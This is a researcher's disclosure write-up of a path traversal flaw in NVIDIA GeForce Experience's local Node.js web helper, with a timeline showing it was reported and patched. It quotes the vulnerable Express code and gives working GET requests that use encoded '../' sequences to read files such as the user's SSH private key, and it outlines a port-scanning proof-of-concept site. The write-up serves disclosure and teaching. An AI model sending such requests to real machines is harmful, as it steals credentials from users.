Background
Whilst clearing space on my drive, I found a folder called NvNode
in Program Files (x86)/NVIDIA Corporation
.
I was curious what was in it, so I looked and found some Node.js scripts:
Initial examination
First I opened index.js
, which was an Express application:
...logger.info('Loading ExpressJS dependency...');var app = require('./node_modules/express/index.js')();logger.info('ExpressJS ready');...
Checking the open ports, there was an open HTTP server from "NVIDIA Web Helper":
The port is different on each launch - so it's seemingly random.
After visiting localhost:49612
, it responds Security token is invalid
- this gives the pretense that the server is secured.
Taking a look at index.js
again, a few things can be seen:
app.use(function (req, res, next) {res.header('Access-Control-Allow-Origin', '*');if (securityCheckEnabled&& req.headers.x_local_security_cookie != securityCookie&& !req.path.startsWith('/VisualOPS/v.1.0/')) {...
It allows cross origin requests from any origin.
A
securityCookie
is required to access the server. This is a randomly generated key stored on the local drive, so that can't be used.The
/VisualOPS/v.1.0/
path is accessible without a security cookie.
Further examination
Looking at where the VisualOPS
route is defined in NVBackendAPI.js
,
there are two valid routes defined for that path:
app.get('/VisualOPS/v.1.0/:shortname', [...]app.get('/VisualOPS/v.1.0/:shortname/:filename', [...]
They both take the parameter shortname
, but one additionally takes a filename
parameter.
After searching a bit more, I found a folder called AppData/Local/NVIDIA/NvBackend/VisualOPS
:
This folder contains multiple folders for each installed game detected by GeForce Experience.
The way the related routes are set up, it seems as though they are used to access files within the folder.
Testing the theory
A request to the first route, using one of the above folder names as the shortname
, returns:
GET 127.0.0.1:49612/VisualOPS/v.1.0/rust> {"available":true,"ready":true,"manifestURL":"http://localhost:49612/VisualOPS/v.1.0/rust/manifest.json"} >
It returned a path to a manifest.json
, taking advantage of the filename
parameter of the second path.
Therefore, it seems like this filename
parameter is used to retrieve a file within the shortname
folder.
Let's confirm with a request to the second route using the filename
parameter:
GET 127.0.0.1:49612/VisualOPS/v.1.0/rust/rust_001.jpg
It responded with the contents of whatever filename
was passed.
The vulnerability
Let's try with a URL-encoded filename
parameter that traverses backwards:
GET 127.0.0.1:49612/VisualOPS/v.1.0/rust/..%2F..%2Fbackend.log> 1008-22:47:17.506[I]: Running NVIDIA Backend version 23.0.4.0> ...
It responded with a file outside of the specified directory! This is a textbook path traversal attack.
Now let's try to traverse all the way back to the user folder:
GET 127.0.0.1:49612/VisualOPS/v.1.0/rust/..%2F..%2F..%2F..%2F..%2F..%2F.ssh/id_rsa> -----BEGIN RSA PRIVATE KEY-----> ...
And that worked - it returned my private SSH key.
Proof of Concept
I created a simple website which:
- Scans ports in a range.
- Finds the correct port for the API from which one responded.
- Tries a list of every available "shortname" to see which one the user has.
- Downloads the file that is requested.
Timeline
- October 8th, 2016: Vulnerability discovered.
- October 10th, 2016: Reported to NVIDIA.
- December 14th, 2016: Security Bulletin published.
- February 16th, 2017: Published this article.